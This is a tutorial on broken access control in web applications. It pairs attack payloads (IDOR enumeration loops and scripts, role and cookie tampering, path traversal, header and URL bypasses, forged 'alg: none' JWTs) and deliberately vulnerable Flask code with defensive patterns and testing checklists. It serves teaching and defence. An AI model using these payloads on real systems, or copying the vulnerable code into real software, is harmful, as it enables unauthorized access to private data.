Complete guide to understanding, exploiting, and preventing broken access control vulnerabilities
Broken Access Control occurs when an application fails to properly enforce restrictions on what authenticated users are allowed to do. This enables attackers to access unauthorized functionality and data, acting outside their intended permissions. [VERIFY SOURCE] Access control enforces policy such that users cannot act outside of their intended permissions. When these controls fail or are improperly implemented, attackers can:
Broken Access Control is the #1 vulnerability in the OWASP Top 10 (2021) and remains pervasive because:
Broken Access Control occurs when applications rely on client-side controls or fail to verify authorization on the server-side:
# VULNERABLE CODE - No authorization check
@app.route('/user/profile')
def get_profile():
user_id = request.args.get('user_id')
# DANGEROUS: No check if current user can access this user_id
user = db.get_user(user_id)
return render_template('profile.html', user=user)
An attacker modifies the user_id parameter to access other users' profiles:
# Normal request (User ID 123):
GET /user/profile?user_id=123
# Attacker changes parameter:
GET /user/profile?user_id=456
# ✅ Access to User 456's profile without authorization!
# Try admin account:
GET /user/profile?user_id=1
# ✅ Potential admin account access!
Direct access to objects without authorization checks:
# VULNERABLE: Direct database access
@app.route('/document/')
def view_document(doc_id):
document = Document.query.get(doc_id) # No ownership check!
return render_template('document.html', doc=document)
# Attack:
# /document/1 - Your document
# /document/2 - Someone else's document (accessible!)
# /document/100 - Try sequential IDs
Privileged functions accessible to regular users:
# VULNERABLE: Admin function with no role check
@app.route('/admin/delete_user')
def delete_user():
user_id = request.args.get('user_id')
User.query.filter_by(id=user_id).delete() # No admin check!
return "User deleted"
# Any authenticated user can call this endpoint!
Manipulating request parameters to gain unauthorized access:
# Original request:
POST /update_profile
{
"user_id": 123,
"email": "user@example.com",
"role": "user"
}
# Attacker modifies hidden parameters:
POST /update_profile
{
"user_id": 123,
"email": "user@example.com",
"role": "admin" # Privilege escalation!
}
Weak or improperly validated tokens:
# Vulnerable JWT payload:
{
"user_id": 123,
"role": "user",
"admin": false
}
# Attacker modifies (if not properly signed):
{
"user_id": 123,
"role": "admin",
"admin": true
}
Bypassing directory restrictions:
# Intended access:
GET /files/user123/document.pdf
# Attack with path traversal:
GET /files/user123/../user456/document.pdf
GET /files/user123/../../admin/secret.pdf
Accessing resources belonging to other users at the same privilege level:
# Enumerate user IDs
GET /api/user/1/profile
GET /api/user/2/profile
GET /api/user/3/profile
# Test with GUIDs (if predictable or enumerable)
GET /api/user/a1b2c3d4-e5f6-7890-abcd-ef1234567890/orders
# Try email-based identifiers
GET /api/user/victim@example.com/data
# Cookie/session manipulation
Cookie: user_id=123 → user_id=456
Gaining higher-level permissions (user → admin):
# Method 1: Direct admin endpoint access
GET /admin/dashboard
GET /api/admin/users
POST /admin/create_user
# Method 2: Role parameter manipulation
POST /register
{
"username": "attacker",
"password": "pass123",
"role": "admin" # Try to set admin role during registration
}
# Method 3: Cookie/session modification
Cookie: role=user → role=admin
Cookie: is_admin=0 → is_admin=1
# Sequential ID enumeration
for i in {1..1000}; do
curl "https://api.example.com/invoice/$i" -H "Authorization: Bearer TOKEN"
done
# Predictable patterns
/api/order/2024-001
/api/order/2024-002
/api/order/2024-003
# Base64 encoded IDs
/api/document/MTIz (123 in base64)
/api/document/MTI0 (124 in base64)
# Hash-based but predictable
/api/file/md5(user_id + file_id)
# Method override
POST /api/user/123
X-HTTP-Method-Override: DELETE
# Verb tampering
GET /api/admin/users (blocked)
POST /api/admin/users (might work)
HEAD /api/admin/users (might work)
# API version manipulation
/api/v1/admin/users (protected)
/api/v2/admin/users (might be unprotected)
/api/admin/users (old endpoint without protection)
# Normal flow:
Step 1: POST /purchase/add-to-cart
Step 2: GET /purchase/checkout
Step 3: POST /purchase/confirm
# Attack: Skip payment step
Step 1: POST /purchase/add-to-cart
Step 3: POST /purchase/confirm (direct access!)
# Vulnerable: Access control based on referer
GET /admin/delete_user?id=123
Referer: https://example.com/admin/users
# Attack: Spoof referer from any page
GET /admin/delete_user?id=123
Referer: https://example.com/admin/users
# (even though user isn't actually coming from admin page)
# VULNERABLE: Accepts all parameters
@app.route('/update_profile', methods=['POST'])
def update_profile():
user = User.query.get(current_user.id)
user.update(**request.json) # Mass assignment!
db.session.commit()
# Attack payload:
{
"email": "new@email.com",
"is_admin": true,
"account_balance": 1000000,
"verified": true
}
<form action="/transfer" method="POST">
<input type="hidden" name="account" value="123">
<input type="hidden" name="is_admin" value="false">
<input type="text" name="amount">
<button>Submit</button>
</form>
POST /transfer
account=456&is_admin=true&amount=10000
<button id="admin-btn" disabled>Admin Panel</button>
document.getElementById('admin-btn').disabled = false;
// Or directly calls the API endpoint
fetch('/admin/panel')
// Vulnerable client-side check
if (user.role !== 'admin') {
// Hide admin menu
document.getElementById('admin-menu').style.display = 'none';
}
// Attacker bypasses by directly calling API
fetch('/api/admin/users', {
headers: {'Authorization': 'Bearer ' + token}
})
# Protected path:
/admin/ (requires admin role)
# Bypass attempts:
/admin
/admin//
/admin/./
/admin/../admin/
/ADMIN/
/admin%2f
/admin%00
# Some apps check headers for authorization
X-Original-URL: /admin/dashboard
X-Rewrite-URL: /admin/dashboard
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1
# If checks are case-sensitive but routes aren't:
/api/Admin/users
/api/ADMIN/users
/api/AdMiN/users
# Protected:
/admin/config.json
# Bypass attempts:
/admin/config.json.php
/admin/config.json%00.jpg
/admin/config.json?param=value
# Server validates JWT using RS256 (asymmetric)
# Attacker changes algorithm to HS256 (symmetric)
# Uses public key as HMAC secret
# Modified JWT header:
{
"alg": "HS256", # Changed from RS256
"typ": "JWT"
}
# Server might accept if not validating algorithm properly
# JWT header:
{
"alg": "none",
"typ": "JWT"
}
# Payload:
{
"user_id": 123,
"role": "admin"
}
# No signature validation!
✅ THE PRIMARY DEFENSE
# ✅ GOOD: Deny by default, explicit allow
@app.route('/admin/dashboard')
@require_role('admin') # Decorator checks authorization
def admin_dashboard():
return render_template('admin.html')
# ✅ GOOD: Check ownership for every resource access
@app.route('/document/')
def view_document(doc_id):
document = Document.query.get(doc_id)
if not document:
abort(404)
# Verify current user owns or has access to this document
if document.owner_id != current_user.id and not current_user.is_admin:
abort(403)
return render_template('document.html', doc=document)
# Python/Flask example with role-based access control
from functools import wraps
from flask import abort, session
def require_role(role):
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if not session.get('user_role') == role:
abort(403) # Forbidden
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage:
@app.route('/admin/users')
@require_role('admin')
def list_users():
return User.query.all()
// Java Spring Security example
@RestController
@RequestMapping("/api")
public class UserController {
@GetMapping("/user/{userId}")
@PreAuthorize("hasRole('ADMIN') or @userSecurity.isOwner(#userId)")
public User getUser(@PathVariable Long userId) {
return userService.findById(userId);
}
}
// Custom security check
@Component
public class UserSecurity {
public boolean isOwner(Long userId) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
User currentUser = (User) auth.getPrincipal();
return currentUser.getId().equals(userId);
}
}
# ❌ BAD: Direct database IDs exposed
GET /api/document/12345
# ✅ GOOD: Use unpredictable tokens or map to user context
import secrets
# Generate unique, unpredictable reference
document.access_token = secrets.token_urlsafe(32)
# Access via token instead of ID
GET /api/document/k7mP9nQ2rT5vW8xY1zA3bC4dE6fG8hJ9
# Or use session-based mapping
session['accessible_documents'] = [1, 5, 7, 12]
# Map index to actual IDs
GET /api/document/0 # Maps to document 1 for this user
# Define access policies based on attributes
class AccessPolicy:
@staticmethod
def can_view_document(user, document):
# Owner can always view
if document.owner_id == user.id:
return True
# Shared documents
if user.id in document.shared_with:
return True
# Admins can view all
if user.role == 'admin':
return True
# Department members can view department docs
if document.department == user.department and document.is_public:
return True
return False
# Usage:
@app.route('/document/')
def view_document(doc_id):
document = Document.query.get_or_404(doc_id)
if not AccessPolicy.can_view_document(current_user, document):
abort(403)
return render_template('document.html', doc=document)
# Example: Time-limited admin access
def grant_temporary_admin(user_id, duration_minutes=30):
expiry = datetime.now() + timedelta(minutes=duration_minutes)
user = User.query.get(user_id)
user.temp_admin_until = expiry
db.session.commit()
def check_admin_access(user):
if user.role == 'admin':
return True
if user.temp_admin_until and user.temp_admin_until > datetime.now():
return True
return False
import jwt
from datetime import datetime, timedelta
# ✅ GOOD: Proper JWT implementation
def create_token(user):
payload = {
'user_id': user.id,
'role': user.role,
'exp': datetime.utcnow() + timedelta(hours=1),
'iat': datetime.utcnow()
}
# Use strong algorithm and secret
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token
def verify_token(token):
try:
# Verify signature and expiration
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=['HS256'], # Explicitly specify allowed algorithms
options={'verify_exp': True}
)
return payload
except jwt.ExpiredSignatureError:
abort(401, 'Token expired')
except jwt.InvalidTokenError:
abort(401, 'Invalid token')
# Multiple layers of access control
@app.route('/api/admin/delete_user/', methods=['DELETE'])
@require_authentication # Layer 1: Must be logged in
@require_role('admin') # Layer 2: Must be admin
@rate_limit('10/minute') # Layer 3: Rate limiting
def delete_user(user_id):
# Layer 4: Additional business logic checks
user_to_delete = User.query.get_or_404(user_id)
# Can't delete yourself
if user_to_delete.id == current_user.id:
abort(400, "Cannot delete your own account")
# Can't delete super admin
if user_to_delete.role == 'super_admin':
abort(403, "Cannot delete super admin")
# Layer 5: Audit logging
audit_log.record('user_deletion', {
'deleted_by': current_user.id,
'deleted_user': user_id,
'timestamp': datetime.now()
})
user_to_delete.delete()
return {'success': True}
# Create two test accounts
Account A: user_id=100
Account B: user_id=101
# Log in as Account A, capture requests
GET /api/user/100/profile
GET /api/user/100/orders
GET /api/user/100/documents/1
# Try accessing Account B's resources
GET /api/user/101/profile
GET /api/user/101/orders
GET /api/user/101/documents/1
# Test modifications
POST /api/user/101/update
DELETE /api/user/101/documents/1
# As regular user, try admin endpoints
GET /admin/dashboard
GET /api/admin/users
POST /api/admin/create_user
DELETE /api/admin/delete_user/123
# Parameter manipulation
POST /api/update_profile
{
"role": "admin",
"is_admin": true,
"permissions": ["*"]
}
# Cookie/session manipulation
Cookie: role=user → role=admin
Cookie: user_type=2 → user_type=1
# Test with different account types:
1. Unauthenticated user
2. Authenticated regular user
3. Authenticated privileged user
4. Admin user
# For each resource:
- Can unauthenticated access it?
- Can user A access user B's data?
- Can regular user access admin functions?
- Are there any bypass techniques?
# Test different HTTP methods
GET /api/admin/users
POST /api/admin/users
PUT /api/admin/users
DELETE /api/admin/users
PATCH /api/admin/users
HEAD /api/admin/users
OPTIONS /api/admin/users
# Method override
POST /api/user/123
X-HTTP-Method-Override: DELETE
# Python script for IDOR testing
import requests
# Test user credentials
users = [
{'id': 1, 'token': 'token_user_1'},
{'id': 2, 'token': 'token_user_2'},
{'id': 3, 'token': 'token_user_3'}
]
base_url = 'https://api.example.com'
# Test each user accessing other users' resources
for user in users:
print(f"\n[*] Testing as User {user['id']}")
headers = {'Authorization': f"Bearer {user['token']}"}
for target_id in range(1, 100):
url = f"{base_url}/api/user/{target_id}/profile"
response = requests.get(url, headers=headers)
if response.status_code == 200 and target_id != user['id']:
print(f"[!] VULNERABILITY: User {user['id']} can access User {target_id}")
Search for these vulnerable patterns:
# Missing authorization checks
grep -r "query.get\|query.filter" --include="*.py"
grep -r "@app.route\|@api.route" --include="*.py" | grep -v "@require"
# Direct object references
grep -r "request.args.get\|request.form\|request.json" --include="*.py"
# Hidden fields
grep -r "type=\"hidden\"" --include="*.html"
# Client-side role checks
grep -r "if.*role.*==" --include="*.js"
# Mass assignment
grep -r "update\(.*request" --include="*.py"
# E-commerce IDOR
# Attacker changes order ID to view other customers' orders
GET /api/order/12345
→ Access to: shipping address, items, payment info, phone number
# Banking horizontal privilege escalation
# User accesses another account's transactions
GET /api/account/98765/transactions
→ Access to: balance, transaction history, account holders
# Healthcare IDOR
# Medical staff views unauthorized patient records
GET /api/patient/54321/records
→ Access to: diagnoses, medications, test results, personal info
# API vertical privilege escalation
# Regular user calls admin-only endpoint
POST /api/admin/grant_premium
→ Result: Free premium access, bypassing payment
# ID Enumeration
/api/user/1
/api/user/2
/api/user/100
/api/document/1234
/api/order/9999
# Parameter Manipulation
user_id=123 → user_id=456
account=mine → account=admin
role=user → role=admin
is_admin=false → is_admin=true
# Path Traversal
/files/user123/../user456/file.pdf
/api/account/123/../../admin/users
# Method Override
X-HTTP-Method-Override: DELETE
X-HTTP-Method-Override: PUT
X-Method-Override: ADMIN
# Token Manipulation
JWT with role=admin
Cookie: admin=true
Session: privileges=elevated
# Direct Admin Access
/admin
/admin/dashboard
/api/admin/users
/administrator
/moderator
# 1. Identify all endpoints and parameters
- Map application functionality
- Note authenticated vs unauthenticated areas
- Identify user roles and permissions
# 2. Create test accounts
- Regular user account
- Privileged user account
- Admin account (if possible)
# 3. Test horizontal access control
- Log in as User A
- Try accessing User B's resources
- Document successful unauthorized access
# 4. Test vertical access control
- Log in as regular user
- Try accessing admin endpoints
- Test privilege escalation techniques
# 5. Test IDOR vulnerabilities
- Enumerate IDs for all resources
- Modify IDs in requests
- Check for predictable patterns
# 6. Test without authentication
- Try accessing protected endpoints
- Check if auth is properly enforced
- Test direct object access
# Missing authorization check
def get_user_data(user_id):
return User.query.get(user_id) # No ownership check!
# Client-side role check only
if current_user.role == 'admin':
show_admin_panel() # Server doesn't verify!
# Direct parameter usage
user_id = request.args.get('user_id')
data = db.get_data(user_id) # No validation!
# Exposed admin endpoints
@app.route('/admin/delete') # No @require_admin decorator!
def delete_user():
pass
# Mass assignment
user.update(**request.json) # Accepts all parameters!
# Predictable IDs
id = last_id + 1 # Sequential, easily enumerable